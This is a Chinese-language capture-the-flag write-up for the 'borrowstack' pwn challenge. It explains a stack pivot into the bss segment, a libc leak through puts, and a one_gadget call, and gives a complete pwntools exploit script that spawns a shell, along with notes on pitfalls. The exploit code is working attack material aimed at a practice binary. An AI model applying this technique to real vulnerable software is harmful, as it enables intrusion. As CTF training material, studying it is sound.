常規檢查
題目分析
兩個 read 函數,第一個 buf 只能棧溢出至 ret ,第二個 bank 在 bss 段中,所以思路很明顯,要棧遷移到 bss 段中
有 puts 函數和 read 函數,所以我們可以先用 puts 函數泄露出 libc 地址,然后用 read 函數寫入
有萬能函數,能讓我們設置 read 函數的參數
解題思路
現在思路就很明確了
1.首先在 bank 中寫入泄露 puts 函數地址的 rop
2.運用雙 leave 將棧遷移 到 bss 段
3.泄露函數基址后計算出 one_gadget 地址,用萬能函數調用 read 寫入 one_gadget
4.再次運用 leave 將 esp 劫持至 one_gadget 處
exp 腳本
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
io = process('./borrowstack')
elf = ELF('./borrowstack')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
mov_call = 0x4006e0
pop6 = 0x4006fa
pop_rdi = 0x400703
io.recvuntil('Tell me what you want')
payload = 'a' * 0x60
payload += p64(0x6010c0)
payload += p64(0x400699)
sleep(0.5)
io.send(payload)
payload1 = p64(0x6010b8)
payload1 += p64(0) * 8
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(pop6)
payload1 += p64(0)
payload1 += p64(1)
payload1 += p64(read_got)
payload1 += p64(0x100)
payload1 += p64(0x6010c0)
payload1 += p64(0)
payload1 += p64(mov_call)
payload1 += p64(0)*2
payload1 += p64(0x6010b8)
payload1 += p64(0)*4
payload1 += p64(0x400699)
io.recvuntil('You can check and use your borrow stack now!')
sleep(0.5)
io.send(payload1)
puts_addr = io.recvuntil('\x7f')[-6:].ljust(8,'\x00')
print hex(u64(puts_addr))
libcbase = u64(puts_addr) - libc.symbols['puts']
one_gadget = libcbase + 0xf1147
#system = libcbase + libc.symbols['system']
#binsh = libcbase + libc.search('/bin/sh').next()
#payload2 = p64(pop_rdi)
#payload2 += p64(binsh)
#payload2 += p64(system)
payload2 = p64(one_gadget)
sleep(0.5)
io.send(payload2)
io.interactive()
get shell
坑
第一個坑是 bss 段離 got 表太近了,導致后面調用函數的時候會覆蓋 got 表,導致調用 read 函數失敗。解決方法是棧遷移時地址再往高點移。
第二個坑是泄露地址后要返回 main 函數來調用 read 函數的話,會因為 main 里有個 sub rsp,60h 到時和第一個坑一樣的問題,got 表被覆蓋。解決方法是用萬能函數調用 read 。
第三個坑是這題用 system("/bin/sh") 拿 shell 的話 sytem 運行過程中會報錯。解決方法是換成 one_gadget 拿 shell。